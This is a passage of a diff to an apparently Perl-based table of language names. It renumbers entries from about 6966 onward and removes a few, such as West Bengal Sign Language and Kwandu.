       q(Vaiphei),
       ],
-   q(6966) => [
+   q(6965) => [
       q(Huarijio),
       ],
-   q(6967) => [
+   q(6966) => [
       q(Vasavi),
       ],
-   q(6968) => [
+   q(6967) => [
       q(Vanuma),
       ],
-   q(6969) => [
+   q(6968) => [
       q(Varli),
       ],
-   q(6970) => [
+   q(6969) => [
       q(Wayu),
       ],
-   q(6971) => [
+   q(6970) => [
       q(Southeast Babar),
       ],
-   q(6972) => [
+   q(6971) => [
       q(Southwestern Bontok),
       ],
-   q(6973) => [
+   q(6972) => [
       q(Venetian),
       ],
-   q(6974) => [
+   q(6973) => [
       q(Veddah),
       ],
-   q(6975) => [
+   q(6974) => [
       q(Veluws),
       ],
-   q(6976) => [
+   q(6975) => [
       q(Vemgo-Mabas),
       ],
-   q(6977) => [
+   q(6976) => [
       q(Ventureno),
       ],
-   q(6978) => [
+   q(6977) => [
       q(Veps),
       ],
-   q(6979) => [
+   q(6978) => [
       q(Mom Jango),
       ],
-   q(6980) => [
+   q(6979) => [
       q(Vaghri),
       ],
-   q(6981) => [
+   q(6980) => [
       q(Vlaamse Gebarentaal),
       q(Flemish Sign Language),
       ],
-   q(6982) => [
+   q(6981) => [
       q(Virgin Islands Creole English),
       ],
-   q(6983) => [
+   q(6982) => [
       q(Vidunda),
       ],
-   q(6984) => [
+   q(6983) => [
       q(Vili),
       ],
-   q(6985) => [
+   q(6984) => [
       q(Viemo),
       ],
-   q(6986) => [
+   q(6985) => [
       q(Vilela),
       ],
-   q(6987) => [
+   q(6986) => [
       q(Vinza),
       ],
-   q(6988) => [
+   q(6987) => [
       q(Vishavan),
       ],
-   q(6989) => [
+   q(6988) => [
       q(Viti),
       ],
-   q(6990) => [
+   q(6989) => [
       q(Iduna),
       ],
-   q(6991) => [
+   q(6990) => [
       q(Kariyarra),
       ],
-   q(6992) => [
+   q(6991) => [
       q(Ija-Zuba),
       ],
-   q(6993) => [
+   q(6992) => [
       q(Kujarge),
       ],
-   q(6994) => [
+   q(6993) => [
       q(Kaur),
       ],
-   q(6995) => [
+   q(6994) => [
       q(Kulisusu),
       ],
-   q(6996) => [
+   q(6995) => [
       q(Kamakan),
       ],
-   q(6997) => [
+   q(6996) => [
       q(Kodeoha),
       ],
-   q(6998) => [
+   q(6997) => [
       q(Korlai Creole Portuguese),
       ],
-   q(6999) => [
+   q(6998) => [
       q(Tenggarong Kutai Malay),
       ],
-   q(7000) => [
+   q(6999) => [
       q(Kurrama),
       ],
-   q(7001) => [
+   q(7000) => [
       q(Valpei),
       ],
-   q(7002) => [
+   q(7001) => [
       q(Vlaams),
       ],
-   q(7003) => [
+   q(7002) => [
       q(Martuyhunira),
       ],
-   q(7004) => [
+   q(7003) => [
       q(Barbaram),
       ],
-   q(7005) => [
+   q(7004) => [
       q(Juxtlahuaca Mixtec),
       ],
-   q(7006) => [
+   q(7005) => [
       q(Mudu Koraga),
       ],
-   q(7007) => [
+   q(7006) => [
       q(East Masela),
       ],
-   q(7008) => [
+   q(7007) => [
       q(Mainfrankisch),
       ],
-   q(7009) => [
+   q(7008) => [
       q(Lungalunga),
       ],
-   q(7010) => [
+   q(7009) => [
       q(Maraghei),
       ],
-   q(7011) => [
+   q(7010) => [
       q(Miwa),
       ],
-   q(7012) => [
+   q(7011) => [
       q(Ixtayutla Mixtec),
       ],
-   q(7013) => [
+   q(7012) => [
       q(Makhuwa-Shirima),
       ],
-   q(7014) => [
+   q(7013) => [
       q(Malgana),
       ],
-   q(7015) => [
+   q(7014) => [
       q(Mitlatongo Mixtec),
       ],
-   q(7016) => [
+   q(7015) => [
       q(Soyaltepec Mazatec),
       ],
-   q(7017) => [
+   q(7016) => [
       q(Soyaltepec Mixtec),
       ],
-   q(7018) => [
+   q(7017) => [
       q(Marenje),
       ],
-   q(7019) => [
+   q(7018) => [
       q(Moksela),
       ],
-   q(7020) => [
+   q(7019) => [
       q(Muluridyi),
       ],
-   q(7021) => [
+   q(7020) => [
       q(Valley Maidu),
       ],
-   q(7022) => [
+   q(7021) => [
       q(Makhuwa),
       ],
-   q(7023) => [
+   q(7022) => [
       q(Tamazola Mixtec),
       ],
-   q(7024) => [
+   q(7023) => [
       q(Ayautla Mazatec),
       ],
-   q(7025) => [
+   q(7024) => [
       q(Mazatlan Mazatec),
       ],
-   q(7026) => [
+   q(7025) => [
       q(Vano),
       q(Lovono),
       ],
-   q(7027) => [
+   q(7026) => [
       q(Vinmavis),
       q(Neve'ei),
       ],
-   q(7028) => [
+   q(7027) => [
       q(Vunapu),
       ],
-   q(7029) => [
+   q(7028) => [
       q(Voro),
       ],
-   q(7030) => [
+   q(7029) => [
       q(Vera'a),
       ],
-   q(7031) => [
+   q(7030) => [
       q(Varisi),
       ],
-   q(7032) => [
+   q(7031) => [
       q(Burmbar),
       q(Banam Bay),
       ],
-   q(7033) => [
+   q(7032) => [
       q(Moldova Sign Language),
       ],
-   q(7034) => [
+   q(7033) => [
       q(Venezuelan Sign Language),
       ],
-   q(7035) => [
+   q(7034) => [
       q(Valencian Sign Language),
       q(Llengua de signes valenciana),
       ],
-   q(7036) => [
+   q(7035) => [
       q(Vitou),
       ],
-   q(7037) => [
+   q(7036) => [
       q(Vumbu),
       ],
-   q(7038) => [
+   q(7037) => [
       q(Vunjo),
       ],
-   q(7039) => [
+   q(7038) => [
       q(Vute),
       ],
-   q(7040) => [
+   q(7039) => [
       q(Awa (China)),
       ],
-   q(7041) => [
+   q(7040) => [
       q(Walla Walla),
       ],
-   q(7042) => [
+   q(7041) => [
       q(Wab),
       ],
-   q(7043) => [
+   q(7042) => [
       q(Wasco-Wishram),
       ],
-   q(7044) => [
+   q(7043) => [
       q(Wandamen),
       ],
-   q(7045) => [
+   q(7044) => [
       q(Walser),
       ],
-   q(7046) => [
+   q(7045) => [
       q(Wakona),
       ],
-   q(7047) => [
+   q(7046) => [
       q(Wa'ema),
       ],
-   q(7048) => [
+   q(7047) => [
       q(Watubela),
       ],
-   q(7049) => [
+   q(7048) => [
       q(Wares),
       ],
-   q(7050) => [
+   q(7049) => [
       q(Waffa),
       ],
-   q(7051) => [
+   q(7050) => [
       q(Wampanoag),
       ],
-   q(7052) => [
+   q(7051) => [
       q(Wan),
       ],
-   q(7053) => [
+   q(7052) => [
       q(Wappo),
       ],
-   q(7054) => [
+   q(7053) => [
       q(Wapishana),
       ],
-   q(7055) => [
+   q(7054) => [
       q(Wageman),
       ],
-   q(7056) => [
+   q(7055) => [
       q(Kaninuwa),
       ],
-   q(7057) => [
+   q(7056) => [
       q(Waura),
       ],
-   q(7058) => [
+   q(7057) => [
       q(Waka),
       ],
-   q(7059) => [
+   q(7058) => [
       q(Waiwai),
       ],
-   q(7060) => [
+   q(7059) => [
       q(Watam),
       q(Marangis),
       ],
-   q(7061) => [
+   q(7060) => [
       q(Wayana),
       ],
-   q(7062) => [
+   q(7061) => [
       q(Wampur),
       ],
-   q(7063) => [
+   q(7062) => [
       q(Warao),
       ],
-   q(7064) => [
+   q(7063) => [
       q(Wabo),
       ],
-   q(7065) => [
+   q(7064) => [
       q(Waritai),
       ],
-   q(7066) => [
+   q(7065) => [
       q(Wanda),
       ],
-   q(7067) => [
+   q(7066) => [
       q(Vwanji),
       ],
-   q(7068) => [
+   q(7067) => [
       q(Alagwa),
       ],
-   q(7069) => [
+   q(7068) => [
       q(Waigali),
       ],
-   q(7070) => [
+   q(7069) => [
       q(Wakhi),
       ],
-   q(7071) => [
+   q(7070) => [
       q(Wa),
       ],
-   q(7072) => [
+   q(7071) => [
       q(Warlpiri),
       ],
-   q(7073) => [
+   q(7072) => [
       q(Waddar),
       ],
-   q(7074) => [
+   q(7073) => [
       q(Wagdi),
       ],
-   q(7075) => [
-      q(West Bengal Sign Language),
-      ],
-   q(7076) => [
+   q(7074) => [
       q(Wanman),
       ],
-   q(7077) => [
+   q(7075) => [
       q(Wajarri),
       ],
-   q(7078) => [
+   q(7076) => [
       q(Woi),
       ],
-   q(7079) => [
+   q(7077) => [
       q(Yanomami),
       ],
-   q(7080) => [
+   q(7078) => [
       q(Waci Gbe),
       ],
-   q(7081) => [
+   q(7079) => [
       q(Wandji),
       ],
-   q(7082) => [
+   q(7080) => [
       q(Wadaginam),
       ],
-   q(7083) => [
+   q(7081) => [
       q(Wadjiginy),
       ],
-   q(7084) => [
+   q(7082) => [
       q(Wadikali),
       ],
-   q(7085) => [
+   q(7083) => [
       q(Wadjigu),
       ],
-   q(7086) => [
+   q(7084) => [
       q(Wadjabangayi),
       ],
-   q(7087) => [
+   q(7085) => [
       q(Wewaw),
       ],
-   q(7088) => [
+   q(7086) => [
       q(We Western),
       ],
-   q(7089) => [
+   q(7087) => [
       q(Wedau),
       ],
-   q(7090) => [
+   q(7088) => [
       q(Wergaia),
       ],
-   q(7091) => [
+   q(7089) => [
       q(Weh),
       ],
-   q(7092) => [
+   q(7090) => [
       q(Kiunum),
       ],
-   q(7093) => [
+   q(7091) => [
       q(Weme Gbe),
       ],
-   q(7094) => [
+   q(7092) => [
       q(Wemale),
       ],
-   q(7095) => [
+   q(7093) => [
       q(Westphalien),
       ],
-   q(7096) => [
+   q(7094) => [
       q(Weri),
       ],
-   q(7097) => [
+   q(7095) => [
       q(Cameroon Pidgin),
       ],
-   q(7098) => [
+   q(7096) => [
       q(Perai),
       ],
-   q(7099) => [
+   q(7097) => [
       q(Rawngtu Chin),
       ],
-   q(7100) => [
+   q(7098) => [
       q(Wejewa),
       ],
-   q(7101) => [
+   q(7099) => [
       q(Yafi),
       q(Zorop),
       ],
-   q(7102) => [
+   q(7100) => [
       q(Wagaya),
       ],
-   q(7103) => [
+   q(7101) => [
       q(Wagawaga),
       ],
-   q(7104) => [
+   q(7102) => [
       q(Wangganguru),
       ],
-   q(7105) => [
+   q(7103) => [
       q(Wahgi),
       ],
-   q(7106) => [
+   q(7104) => [
       q(Waigeo),
       ],
-   q(7107) => [
+   q(7105) => [
       q(Wirangu),
       ],
-   q(7108) => [
+   q(7106) => [
       q(Warrgamay),
       ],
-   q(7109) => [
+   q(7107) => [
       q(Sou Upaa),
       q(Manusela),
       ],
-   q(7110) => [
+   q(7108) => [
       q(North Wahgi),
       ],
-   q(7111) => [
+   q(7109) => [
       q(Wahau Kenyah),
       ],
-   q(7112) => [
+   q(7110) => [
       q(Wahau Kayan),
       ],
-   q(7113) => [
+   q(7111) => [
       q(Southern Toussian),
       ],
-   q(7114) => [
+   q(7112) => [
       q(Wichita),
       ],
-   q(7115) => [
+   q(7113) => [
       q(Wik-Epa),
       ],
-   q(7116) => [
+   q(7114) => [
       q(Wik-Keyangan),
       ],
-   q(7117) => [
+   q(7115) => [
       q(Wik-Ngathana),
       ],
-   q(7118) => [
+   q(7116) => [
       q(Wik-Me'anha),
       ],
-   q(7119) => [
+   q(7117) => [
       q(Minidien),
       ],
-   q(7120) => [
+   q(7118) => [
       q(Wik-Iiyanh),
       ],
-   q(7121) => [
+   q(7119) => [
       q(Wikalkan),
       ],
-   q(7122) => [
+   q(7120) => [
       q(Wilawila),
       ],
-   q(7123) => [
+   q(7121) => [
       q(Wik-Mungkan),
       ],
-   q(7124) => [
+   q(7122) => [
       q(Ho-Chunk),
       ],
-   q(7125) => [
+   q(7123) => [
       q(Wirafed),
       ],
-   q(7126) => [
+   q(7124) => [
       q(Wiru),
       ],
-   q(7127) => [
+   q(7125) => [
       q(Vitu),
       ],
-   q(7128) => [
+   q(7126) => [
       q(Wiyot),
       ],
-   q(7129) => [
+   q(7127) => [
       q(Waja),
       ],
-   q(7130) => [
+   q(7128) => [
       q(Warji),
       ],
-   q(7131) => [
+   q(7129) => [
       q(Kw'adza),
       ],
-   q(7132) => [
+   q(7130) => [
       q(Kumbaran),
       ],
-   q(7133) => [
+   q(7131) => [
       q(Wakde),
       q(Mo),
       ],
-   q(7134) => [
+   q(7132) => [
       q(Kalanadi),
       ],
-   q(7135) => [
+   q(7133) => [
       q(Kunduvadi),
       ],
-   q(7136) => [
+   q(7134) => [
       q(Wakawaka),
       ],
-   q(7137) => [
+   q(7135) => [
       q(Wangkayutyuru),
       ],
-   q(7138) => [
+   q(7136) => [
       q(Walio),
       ],
-   q(7139) => [
+   q(7137) => [
       q(Mwali Comorian),
       ],
-   q(7140) => [
+   q(7138) => [
       q(Wolane),
       ],
-   q(7141) => [
+   q(7139) => [
       q(Kunbarlang),
       ],
-   q(7142) => [
+   q(7140) => [
       q(Waioli),
       ],
-   q(7143) => [
+   q(7141) => [
       q(Wailaki),
       ],
-   q(7144) => [
+   q(7142) => [
       q(Wali (Sudan)),
       ],
-   q(7145) => [
+   q(7143) => [
       q(Middle Welsh),
       ],
-   q(7146) => [
+   q(7144) => [
       q(Wolio),
       ],
-   q(7147) => [
+   q(7145) => [
       q(Wailapa),
       ],
-   q(7148) => [
+   q(7146) => [
       q(Wallisian),
       ],
-   q(7149) => [
+   q(7147) => [
       q(Wuliwuli),
       ],
-   q(7150) => [
+   q(7148) => [
       q(Wichi Lhamtes Vejoz),
       ],
-   q(7151) => [
+   q(7149) => [
       q(Walak),
       ],
-   q(7152) => [
+   q(7150) => [
       q(Wali (Ghana)),
       ],
-   q(7153) => [
+   q(7151) => [
       q(Waling),
       ],
-   q(7154) => [
+   q(7152) => [
       q(Mawa (Nigeria)),
       ],
-   q(7155) => [
+   q(7153) => [
       q(Wambaya),
       ],
-   q(7156) => [
+   q(7154) => [
       q(Wamas),
       ],
-   q(7157) => [
+   q(7155) => [
       q(Mamainde),
       ],
-   q(7158) => [
+   q(7156) => [
       q(Wambule),
       ],
-   q(7159) => [
+   q(7157) => [
       q(Waima'a),
       ],
-   q(7160) => [
+   q(7158) => [
       q(Wamin),
       ],
-   q(7161) => [
+   q(7159) => [
       q(Maiwa (Indonesia)),
       ],
-   q(7162) => [
+   q(7160) => [
       q(Waamwang),
       ],
-   q(7163) => [
+   q(7161) => [
       q(Wom (Papua New Guinea)),
       ],
-   q(7164) => [
+   q(7162) => [
       q(Wambon),
       ],
-   q(7165) => [
+   q(7163) => [
       q(Walmajarri),
       ],
-   q(7166) => [
+   q(7164) => [
       q(Mwani),
       ],
-   q(7167) => [
+   q(7165) => [
       q(Womo),
       ],
-   q(7168) => [
+   q(7166) => [
       q(Wanambre),
       ],
-   q(7169) => [
+   q(7167) => [
       q(Wantoat),
       ],
-   q(7170) => [
+   q(7168) => [
       q(Wandarang),
       ],
-   q(7171) => [
+   q(7169) => [
       q(Waneci),
       ],
-   q(7172) => [
+   q(7170) => [
       q(Wanggom),
       ],
-   q(7173) => [
+   q(7171) => [
       q(Ndzwani Comorian),
       ],
-   q(7174) => [
+   q(7172) => [
       q(Wanukaka),
       ],
-   q(7175) => [
+   q(7173) => [
       q(Wanggamala),
       ],
-   q(7176) => [
+   q(7174) => [
       q(Wunumara),
       ],
-   q(7177) => [
+   q(7175) => [
       q(Wano),
       ],
-   q(7178) => [
+   q(7176) => [
       q(Wanap),
       ],
-   q(7179) => [
+   q(7177) => [
       q(Usan),
       ],
-   q(7180) => [
+   q(7178) => [
       q(Wintu),
       ],
-   q(7181) => [
+   q(7179) => [
       q(Wanyi),
       ],
-   q(7182) => [
+   q(7180) => [
       q(Tyaraity),
       ],
-   q(7183) => [
+   q(7181) => [
       q(We Northern),
       ],
-   q(7184) => [
+   q(7182) => [
       q(Wogeo),
       ],
-   q(7185) => [
+   q(7183) => [
       q(Wolani),
       ],
-   q(7186) => [
+   q(7184) => [
       q(Woleaian),
       ],
-   q(7187) => [
+   q(7185) => [
       q(Gambian Wolof),
       ],
-   q(7188) => [
+   q(7186) => [
       q(Wogamusin),
       ],
-   q(7189) => [
+   q(7187) => [
       q(Kamang),
       ],
-   q(7190) => [
+   q(7188) => [
       q(Longto),
       ],
-   q(7191) => [
+   q(7189) => [
       q(Wom (Nigeria)),
       ],
-   q(7192) => [
+   q(7190) => [
       q(Wongo),
       ],
-   q(7193) => [
+   q(7191) => [
       q(Manombai),
       ],
-   q(7194) => [
+   q(7192) => [
       q(Woria),
       ],
-   q(7195) => [
+   q(7193) => [
       q(Hanga Hundi),
       ],
-   q(7196) => [
+   q(7194) => [
       q(Wawonii),
       ],
-   q(7197) => [
+   q(7195) => [
       q(Weyto),
       ],
-   q(7198) => [
+   q(7196) => [
       q(Maco),
       ],
-   q(7199) => [
+   q(7197) => [
       q(Warapu),
       ],
-   q(7200) => [
+   q(7198) => [
       q(Warluwara),
       ],
-   q(7201) => [
+   q(7199) => [
       q(Warduji),
       ],
-   q(7202) => [
+   q(7200) => [
       q(Warungu),
       ],
-   q(7203) => [
+   q(7201) => [
       q(Wiradhuri),
       ],
-   q(7204) => [
+   q(7202) => [
       q(Wariyangga),
       ],
-   q(7205) => [
+   q(7203) => [
       q(Garrwa),
       ],
-   q(7206) => [
+   q(7204) => [
       q(Warlmanpa),
       ],
-   q(7207) => [
+   q(7205) => [
       q(Warumungu),
       ],
-   q(7208) => [
+   q(7206) => [
       q(Warnang),
       ],
-   q(7209) => [
+   q(7207) => [
       q(Worrorra),
       ],
-   q(7210) => [
+   q(7208) => [
       q(Waropen),
       ],
-   q(7211) => [
+   q(7209) => [
       q(Wardaman),
       ],
-   q(7212) => [
+   q(7210) => [
       q(Waris),
       ],
-   q(7213) => [
+   q(7211) => [
       q(Waru),
       ],
-   q(7214) => [
+   q(7212) => [
       q(Waruna),
       ],
-   q(7215) => [
+   q(7213) => [
       q(Gugu Warra),
       ],
-   q(7216) => [
+   q(7214) => [
       q(Wae Rana),
       ],
-   q(7217) => [
+   q(7215) => [
       q(Merwari),
       ],
-   q(7218) => [
+   q(7216) => [
       q(Waray (Australia)),
       ],
-   q(7219) => [
+   q(7217) => [
       q(Warembori),
       ],
-   q(7220) => [
+   q(7218) => [
       q(Adilabad Gondi),
       ],
-   q(7221) => [
+   q(7219) => [
       q(Wusi),
       ],
-   q(7222) => [
+   q(7220) => [
       q(Waskia),
       ],
-   q(7223) => [
+   q(7221) => [
       q(Owenia),
       ],
-   q(7224) => [
+   q(7222) => [
       q(Wasa),
       ],
-   q(7225) => [
+   q(7223) => [
       q(Wasu),
       ],
-   q(7226) => [
+   q(7224) => [
       q(Wotapuri-Katarqalai),
       ],
-   q(7227) => [
+   q(7225) => [
       q(Watiwa),
       ],
-   q(7228) => [
+   q(7226) => [
       q(Wathawurrung),
       ],
-   q(7229) => [
+   q(7227) => [
       q(Berta),
       ],
-   q(7230) => [
+   q(7228) => [
       q(Watakataui),
       ],
-   q(7231) => [
+   q(7229) => [
       q(Mewati),
       ],
-   q(7232) => [
+   q(7230) => [
       q(Wotu),
       ],
-   q(7233) => [
+   q(7231) => [
       q(Wikngenchera),
       ],
-   q(7234) => [
+   q(7232) => [
       q(Wunambal),
       ],
-   q(7235) => [
+   q(7233) => [
       q(Wudu),
       ],
-   q(7236) => [
+   q(7234) => [
       q(Wutunhua),
       ],
-   q(7237) => [
+   q(7235) => [
       q(Silimo),
       ],
-   q(7238) => [
+   q(7236) => [
       q(Wumbvu),
       ],
-   q(7239) => [
+   q(7237) => [
       q(Bungu),
       ],
-   q(7240) => [
+   q(7238) => [
       q(Wurrugu),
       ],
-   q(7241) => [
+   q(7239) => [
       q(Wutung),
       ],
-   q(7242) => [
+   q(7240) => [
       q(Wu Chinese),
       ],
-   q(7243) => [
+   q(7241) => [
       q(Wuvulu-Aua),
       ],
-   q(7244) => [
+   q(7242) => [
       q(Wulna),
       ],
-   q(7245) => [
+   q(7243) => [
       q(Wauyai),
       ],
-   q(7246) => [
+   q(7244) => [
       q(Waama),
       ],
-   q(7247) => [
+   q(7245) => [
       q(Wakabunga),
       ],
-   q(7248) => [
+   q(7246) => [
       q(Wetamut),
       q(Dorig),
       ],
-   q(7249) => [
+   q(7247) => [
       q(Warrwa),
       ],
-   q(7250) => [
+   q(7248) => [
       q(Wawa),
       ],
-   q(7251) => [
+   q(7249) => [
       q(Waxianghua),
       ],
-   q(7252) => [
+   q(7250) => [
       q(Wardandi),
       ],
-   q(7253) => [
+   q(7251) => [
       q(Wyandot),
       ],
-   q(7254) => [
+   q(7252) => [
       q(Wangaaybuwan-Ngiyambaa),
       ],
-   q(7255) => [
+   q(7253) => [
       q(Woiwurrung),
       ],
-   q(7256) => [
+   q(7254) => [
       q(Wymysorys),
       ],
-   q(7257) => [
+   q(7255) => [
       q(Wayoro),
       ],
-   q(7258) => [
+   q(7256) => [
       q(Western Fijian),
       ],
-   q(7259) => [
+   q(7257) => [
       q(Andalusian Arabic),
       ],
-   q(7260) => [
+   q(7258) => [
       q(Sambe),
       ],
-   q(7261) => [
+   q(7259) => [
       q(Kachari),
       ],
-   q(7262) => [
+   q(7260) => [
       q(Adai),
       ],
-   q(7263) => [
+   q(7261) => [
       q(Aequian),
       ],
-   q(7264) => [
+   q(7262) => [
       q(Aghwan),
       ],
-   q(7265) => [
+   q(7263) => [
       q(Kaimbe),
       ],
-   q(7266) => [
+   q(7264) => [
       q(Ararandewara),
       ],
-   q(7267) => [
+   q(7265) => [
       q(Maku),
       ],
-   q(7268) => [
+   q(7266) => [
       q(/Xam),
       q(Xam),
       ],
-   q(7269) => [
+   q(7267) => [
       q(Xamtanga),
       ],
-   q(7270) => [
+   q(7268) => [
       q(Khao),
       ],
-   q(7271) => [
+   q(7269) => [
       q(Apalachee),
       ],
-   q(7272) => [
+   q(7270) => [
       q(Aquitanian),
       ],
-   q(7273) => [
+   q(7271) => [
       q(Karami),
       ],
-   q(7274) => [
+   q(7272) => [
       q(Kamas),
       ],
-   q(7275) => [
+   q(7273) => [
       q(Katawixi),
       ],
-   q(7276) => [
+   q(7274) => [
       q(Kauwera),
       ],
-   q(7277) => [
+   q(7275) => [
       q(Xavante),
       ],
-   q(7278) => [
+   q(7276) => [
       q(Kawaiisu),
       ],
-   q(7279) => [
+   q(7277) => [
       q(Kayan Mahakam),
       ],
-   q(7280) => [
+   q(7278) => [
       q(Lower Burdekin),
       ],
-   q(7281) => [
+   q(7279) => [
       q(Bactrian),
       ],
-   q(7282) => [
+   q(7280) => [
       q(Bindal),
       ],
-   q(7283) => [
+   q(7281) => [
       q(Bigambal),
       ],
-   q(7284) => [
+   q(7282) => [
       q(Bunganditj),
       ],
-   q(7285) => [
+   q(7283) => [
       q(Kombio),
       ],
-   q(7286) => [
+   q(7284) => [
       q(Birrpayi),
       ],
-   q(7287) => [
+   q(7285) => [
       q(Middle Breton),
       ],
-   q(7288) => [
+   q(7286) => [
       q(Kenaboi),
       ],
-   q(7289) => [
+   q(7287) => [
       q(Bolgarian),
       ],
-   q(7290) => [
+   q(7288) => [
       q(Bibbulman),
       ],
-   q(7291) => [
+   q(7289) => [
       q(Kambera),
       ],
-   q(7292) => [
+   q(7290) => [
       q(Kambiwa),
       ],
-   q(7293) => [
+   q(7291) => [
       q(Batyala),
       ],
-   q(7294) => [
+   q(7292) => [
       q(Cumbric),
       ],
-   q(7295) => [
+   q(7293) => [
       q(Camunic),
       ],
-   q(7296) => [
+   q(7294) => [
       q(Celtiberian),
       ],
-   q(7297) => [
+   q(7295) => [
       q(Cisalpine Gaulish),
       ],
-   q(7298) => [
+   q(7296) => [
       q(Chemakum),
       q(Chimakum),
       ],
-   q(7299) => [
+   q(7297) => [
       q(Classical Armenian),
       ],
-   q(7300) => [
+   q(7298) => [
       q(Comecrudo),
       ],
-   q(7301) => [
+   q(7299) => [
       q(Cotoname),
       ],
-   q(7302) => [
+   q(7300) => [
       q(Chorasmian),
       ],
-   q(7303) => [
+   q(7301) => [
       q(Carian),
       ],
-   q(7304) => [
+   q(7302) => [
       q(Classical Tibetan),
       ],
-   q(7305) => [
+   q(7303) => [
       q(Curonian),
       ],
-   q(7306) => [
+   q(7304) => [
       q(Chuvantsy),
       ],
-   q(7307) => [
+   q(7305) => [
       q(Coahuilteco),
       ],
-   q(7308) => [
+   q(7306) => [
       q(Cayuse),
       ],
-   q(7309) => [
+   q(7307) => [
       q(Darkinyung),
       ],
-   q(7310) => [
+   q(7308) => [
       q(Dacian),
       ],
-   q(7311) => [
+   q(7309) => [
       q(Dharuk),
       ],
-   q(7312) => [
+   q(7310) => [
       q(Edomite),
       ],
-   q(7313) => [
-      q(Kwandu),
-      ],
-   q(7314) => [
+   q(7311) => [
       q(Malayic Dayak),
       ],
-   q(7315) => [
+   q(7312) => [
       q(Eblan),
       ],
-   q(7316) => [
+   q(7313) => [
       q(Hdi),
       ],
-   q(7317) => [
+   q(7314) => [
       q(//Xegwi),
       q(Xegwi),
       ],
-   q(7318) => [
+   q(7315) => [
       q(Kelo),
       ],
-   q(7319) => [
+   q(7316) => [
       q(Kembayan),
       ],
-   q(7320) => [
+   q(7317) => [
       q(Epi-Olmec),
       ],
-   q(7321) => [
+   q(7318) => [
       q(Xerente),
       ],
-   q(7322) => [
+   q(7319) => [
       q(Kesawai),
       ],
-   q(7323) => [
+   q(7320) => [
       q(Xeta),
       ],
-   q(7324) => [
+   q(7321) => [
       q(Keoru-Ahia),
       ],
-   q(7325) => [
+   q(7322) => [
       q(Faliscan),
       ],
-   q(7326) => [
+   q(7323) => [
       q(Galatian),
       ],
-   q(7327) => [
+   q(7324) => [
       q(Gbin),
       ],
-   q(7328) => [
+   q(7325) => [
       q(Gudang),
       ],
-   q(7329) => [
+   q(7326) => [
       q(Gabrielino-Fernandeno),
       ],
-   q(7330) => [
+   q(7327) => [
       q(Goreng),
       ],
-   q(7331) => [
+   q(7328) => [
       q(Garingbal),
       ],
-   q(7332) => [
+   q(7329) => [
       q(Galindan),
       ],
-   q(7333) => [
+   q(7330) => [
       q(Dharumbal),
       q(Guwinmal),
       ],
-   q(7334) => [
+   q(7331) => [
       q(Garza),
       ],
-   q(7335) => [
+   q(7332) => [
       q(Unggumi),
       ],
-   q(7336) => [
+   q(7333) => [
       q(Guwa),
       ],
-   q(7337) => [
+   q(7334) => [
       q(Harami),
       ],
-   q(7338) => [
+   q(7335) => [
       q(Hunnic),
       ],
-   q(7339) => [
+   q(7336) => [
       q(Hadrami),
       ],
-   q(7340) => [
+   q(7337) => [
       q(Khetrani),
       ],
-   q(7341) => [
+   q(7338) => [
       q(Hernican),
       ],
-   q(7342) => [
+   q(7339) => [
       q(Hattic),
       ],
-   q(7343) => [
+   q(7340) => [
       q(Hurrian),
       ],
-   q(7344) => [
+   q(7341) => [
       q(Khua),
       ],
-   q(7345) => [
+   q(7342) => [
       q(Iberian),
       ],
-   q(7346) => [
+   q(7343) => [
       q(Xiri),
       ],
-   q(7347) => [
+   q(7344) => [
       q(Illyrian),
       ],
-   q(7348) => [
+   q(7345) => [
       q(Xinca),
       ],
-   q(7349) => [
+   q(7346) => [
       q(Xiriana),
       ],
-   q(7350) => [
+   q(7347) => [
       q(Kisan),
       ],
-   q(7351) => [
+   q(7348) => [
       q(Indus Valley Language),
       ],
-   q(7352) => [
+   q(7349) => [
       q(Xipaya),
       ],
-   q(7353) => [
+   q(7350) => [
       q(Minjungbal),
       ],
-   q(7354) => [
+   q(7351) => [
       q(Jaitmatang),
       ],
-   q(7355) => [
+   q(7352) => [
       q(Kalkoti),
       ],
-   q(7356) => [
+   q(7353) => [
       q(Northern Nago),
       ],
-   q(7357) => [
+   q(7354) => [
       q(Kho'ini),
       ],
-   q(7358) => [
+   q(7355) => [
       q(Mendalam Kayan),
       ],
-   q(7359) => [
+   q(7356) => [
       q(Kereho),
       ],
-   q(7360) => [
+   q(7357) => [
       q(Khengkha),
       ],
-   q(7361) => [
+   q(7358) => [
       q(Kagoro),
       ],
-   q(7362) => [
+   q(7359) => [
       q(Kenyan Sign Language),
       ],
-   q(7363) => [
+   q(7360) => [
       q(Kajali),
       ],
-   q(7364) => [
+   q(7361) => [
       q(Kaco'),
       ],
-   q(7365) => [
+   q(7362) => [
       q(Mainstream Kenyah),
       ],
-   q(7366) => [
+   q(7363) => [
       q(Kayan River Kayan),
       ],
-   q(7367) => [
+   q(7364) => [
       q(Kiorr),
       ],
-   q(7368) => [
+   q(7365) => [
       q(Kabatei),
       ],
-   q(7369) => [
+   q(7366) => [
       q(Koroni),
       ],
-   q(7370) => [
+   q(7367) => [
       q(Xakriaba),
       ],
-   q(7371) => [
+   q(7368) => [
       q(Kumbewaha),
       ],
-   q(7372) => [
+   q(7369) => [
       q(Kantosi),
       ],
-   q(7373) => [
+   q(7370) => [
       q(Kaamba),
       ],
-   q(7374) => [
+   q(7371) => [
       q(Kgalagadi),
       ],
-   q(7375) => [
+   q(7372) => [
       q(Kembra),
       ],
-   q(7376) => [
+   q(7373) => [
       q(Karore),
       ],
-   q(7377) => [
+   q(7374) => [
       q(Uma' Lasan),
       ],
-   q(7378) => [
+   q(7375) => [
       q(Kurtokha),
       ],
-   q(7379) => [
+   q(7376) => [
       q(Kamula),
       ],
-   q(7380) => [
+   q(7377) => [
       q(Loup B),
       ],
-   q(7381) => [
+   q(7378) => [
       q(Lycian),
       ],
-   q(7382) => [
+   q(7379) => [
       q(Lydian),
       ],
-   q(7383) => [
+   q(7380) => [
       q(Lemnian),
       ],
-   q(7384) => [
+   q(7381) => [
       q(Ligurian (Ancient)),
       ],
-   q(7385) => [
+   q(7382) => [
       q(Liburnian),
       ],
-   q(7386) => [
+   q(7383) => [
       q(Alanic),
       ],
-   q(7387) => [
+   q(7384) => [
       q(Loup A),
       ],
-   q(7388) => [
+   q(7385) => [
       q(Lepontic),
       ],
-   q(7389) => [
+   q(7386) => [
       q(Lusitanian),
       ],
-   q(7390) => [
+   q(7387) => [
       q(Cuneiform Luwian),
       ],
-   q(7391) => [
+   q(7388) => [
       q(Elymian),
       ],
-   q(7392) => [
+   q(7389) => [
       q(Mushungulu),
       ],
-   q(7393) => [
+   q(7390) => [
       q(Mbonga),
       ],
-   q(7394) => [
+   q(7391) => [
       q(Makhuwa-Marrevone),
       ],
-   q(7395) => [
